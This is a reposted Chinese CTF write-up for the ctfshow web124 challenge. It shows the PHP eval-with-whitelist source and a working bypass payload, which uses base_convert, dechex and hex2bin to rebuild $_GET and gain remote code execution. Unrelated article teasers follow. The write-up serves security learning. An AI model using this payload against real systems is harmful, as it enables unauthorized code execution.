ctfshow web124(几个进制转换函数到最后rce)

news/2024/4/27 8:26:47/文章来源:https://www.cnblogs.com/meng-han/p/16848589.html
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

用到的函数解释说明:

base_convert  		#在任意进制之间转换数字。
hexdec 			 #把十六进制转换为十进制。
dechex 			#把十进制转换为十六进制。
hex2bin  		#把十六进制的字符串转换为ASCII码
bin2hex         #把字符串转化为16进制ASCII码

payload及解释如下:

echo base_convert('hex2bin', 36, 10);  //得到 8d3746fcf
echo "<br>";
echo base_convert(37907361743, 10, 36);  //得到 hex2bin
echo "<br>";
echo hexdec(bin2hex('_GET'));//这里先将字符串转16进制然后转10进制得到1598506324
echo "<br>";//payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});//相当于:hex2bin(dechex(1598506324)) //将10进制转16进制后再转化为字符串得到_GET。加上后面那代码等价于构造了$_GET{abs}($_GET{acos})

 这里注意几个点:

1.为什么要用36进制:因为36进制是由0-9和a-z,36个字符表示的。

2.为什么payload的这里base_convert(37907361743,10,36)(dechex(1598506324)); 不直接写16进制而是利用了10进制转16进制,因为我们的单引号和双引号被过滤了,在本地试试写16进制能否得到我们想要的结果就明白为什么了。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_410418.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

猿创征文|计算机学生必须掌握的学习工具

&#x1f353;个人主页&#xff1a;bit.. &#x1f352;系列专栏&#xff1a;Linux(Ubuntu)入门必看 C语言刷题 数据结构与算法 目录 一.c/c使用的软件 二.GitHub和gitee的使用 三.学会如何去调试代码 修改bug 四.学习Linux上面的基本操作 五.java使用的软件 六.p…

【案例源码公开】国产AD+全志T3开发案例,为能源电力行业排忧解难!8/16通道

前 言 本文主要介绍基于全志科技T3(ARM Cortex-A7)国产处理器的8/16通道AD采集开发案例,使用核芯互联CL1606/CL1616国产AD芯片,亦适用于ADI AD7606/AD7616。CL1606/CL1616与AD7606/AD7616软硬件兼容。 备注: (1)创龙科技TL7606I模块使用AD芯片为核芯互联CL1606或ADI AD…

Softing连接解决方案——将FANUC数控机床数据集成到西门子工业边缘

2022年10月10日&#xff08;哈尔&#xff09;&#xff0c;Softing发布了edgePlug FANUC CNC&#xff0c;其丰富了edgePlug产品系列。该产品系列基于Linux的Docker容器应用并为西门子工业边缘应用提供了控制器数据。 &#xff08;Softing的edgePlug Docker容器产品为西门子工业边…

《Python+Kivy(App开发)从入门到实践》自学笔记:简单UX部件——Label标签

章节知识点总揽 4.2 Label标签 在Kivy中&#xff0c;Label小部件用于呈现文本&#xff0c;它仅支持ASCII和Unicode编码的字符串&#xff08;不支持中文&#xff09;&#xff0c;在Label中&#xff0c;可以设置文本内容、字体、大小、颜色、对齐方式、换行、引用以及标记文字等…

【PCBA方案设计】快速体温计方案

一、电子体温计方案介绍 电子体温计由温度传感器&#xff0c;液晶显示器&#xff0c;纽扣电池&#xff0c;专用集成电路及其他电子元器件组成。能快速准确地测量人体体温&#xff0c;与传统的水银玻璃体温计相比&#xff0c;具有读数方便&#xff0c;测量时间短&#xff0c;测量…

DM数据库安装、登录和创建用户

DM数据库安装、登录和创建用户子安拉取镜像 wget -O dm8_docker.tar -c https://download.dameng.com/eco/dm8/dm8_20220822_rev166351_x86_rh6_64_ctm.tar docker load -i dm8_docker.tar docker images编写docker-compose.yml version: 3 services:dm8:image: dm8_single:v8.…

操作系统(九)进程通信

文章目录1 IPC1.1通信操作1.2通信链路的实现1.3通信分类1.3.1直接通信与间接通信直接通信间接通信1.3.2消息传递的特征1.4缓冲问题1.4.1容量问题2信号&#xff08;signal&#xff09;2.1原理2.2接收信号后处理方式2.3不足2.4实现3管道3.14消息队列5共享内存6socket机制1 IPC i…

为什么选择高防DNS云解析?

DNS&#xff08;Domain Name System&#xff0c;域名服务器&#xff09;是互联网的一项核心服务&#xff0c;是域名与对应IP地址进行转换的系统&#xff0c;可将易于记忆的域名转换为可由服务器识别的用于互连通信的数字IP地址。随着大数据时代的到来&#xff0c;传统DNS所存在…

C语言~指针变量

给自己找的基础啊~~ 给自己学 多谢大佬指点 别的勿扰 指针变量的基本操作基本操作 int a,*iptr,*jptr,*kptr; iptr &a; jptr iptr; *jptr 100; kptr NULL; 己址和己空间 指针变量也是一个变量&#xff0c;对应一块内存空间&#xff0c;对应一个内存地址…

DJ8-2 主存储器的组织

如何由存储芯片到存储器&#xff1f; 确定设计容量&#xff1a;多大设计容量 芯片的选用&#xff1a;多大容量&#xff0c;位数&#xff0c;多少片&#xff0c;如何分组 地址分配&#xff1a;将CPU提供的全部地址空间的哪些地址空间分配给所设计的存储器&#xff0c;确定各芯…

docker搭建zabbix服务

docker搭建zabbix服务zabbix简介1、本次安装zabbix的镜像版本2、zabbix组件2.1 创建子网2.2 MySQL容器2.3 zabbix-server-mysql容器2.4 zabbix-web-nginx-mysql容器2.5 zabbix-agent2容器2.6 zabbix-snmptraps容器3、zabbix访问3.1 中文字体修改zabbix简介 zabbix&#xff08;…

esp32通过micropython-->MQTT--上传至腾讯云,实时显示温湿度数据保姆级教程(上)

esp32通过micropython-->MQTT--上传至腾讯云&#xff0c;实时显示温湿度数据保姆级教程&#xff08;上&#xff09;1.注册登录和创建产品&#xff1a;1.1注册账号/登录账号&#xff1a;1.2创建产品&#xff1a;1.注册登录和创建产品&#xff1a; 1.1注册账号/登录账号&…

销售人员应关注的 5 个指标

在上一篇博客 不想写代码&#xff0c;想要灵活性&#xff1f;这个指标平台全都有 中&#xff0c;我们提到了指标的分类一般分为基础指标、衍生指标和复合指标。其中基础指标可用于量化统计事务属性&#xff0c;如总金额等。而对于销售人员来说&#xff0c;最常接触/使用的指标是…

自动泊车的路径动态规划问题研究附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

【附源码】计算机毕业设计java支持协作知识建构的Python程序设计课程学习活动平台设计与实现

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

iPhone通讯录如何完整导入到新手机

概要&#xff1a;iPhone通讯录如何完整导入到新手机&#xff1f;在此部分中&#xff0c;我们将示范几个从iPhone转移通讯录到另一台iPhone的选项。其中&#xff0c;第一种更为推荐&#xff0c;因为更灵活且更容易操作。当然您也可以根据自身情况选择喜欢的方法。 iPhone14已经发…

【HDLBits刷题笔记】12 More Circuits

Rule90 第一次见这东西有点莫名其妙,但是其实看懂了之后就是左移和右移相异或,注意这里使用的是逻辑右移,会自动补零,不能使用算数左移<<<。module top_module(input clk,input load,input [511:0] data,output reg[511:0] q ); always@(posedge clk)beginif(load…

QT调用OpenCV绘制直线、矩形、椭圆、圆、不规则曲线、文本

开发环境&#xff1a;QT5.14.2OpenCV4.5 提前准备&#xff1a;准备编译好的OpenCV开发环境(如自行编译的mingw版的opencv库&#xff0c;本地路径D:\opencv\qt_build64)&#xff0c;准备一张测试图片&#xff08;如&#xff1a;d:\test.jpg&#xff09;。 项目结构&#xff1a…

零零信安-DD数据泄露报警日报【第31期】

01 概述 2022.10.26共发现匿名网络资讯信息70,642条&#xff1b;最近7天共发现匿名网络资讯信息472,185条&#xff0c;同比增长-42%&#xff1b;最近30天共发现匿名网络资讯信息2,498,093 条。 D&D评论&#xff1a; 国际上&#xff0c;近日监测到国外公司源代码泄漏事件增加…

Web响应式(二)

内容:媒体查询 媒体查询语法 组合媒体查询一、媒体查询 媒体查询,可以根据设备的能力应用特定的CSS样式。比如,可以根据视口宽度、屏幕宽高比和朝向(水平还是垂直)等,只用几行CSS代码就改变内容的显示方式。 二、媒体查询语法 媒体查询类型大全媒体查询属性大全:例子: …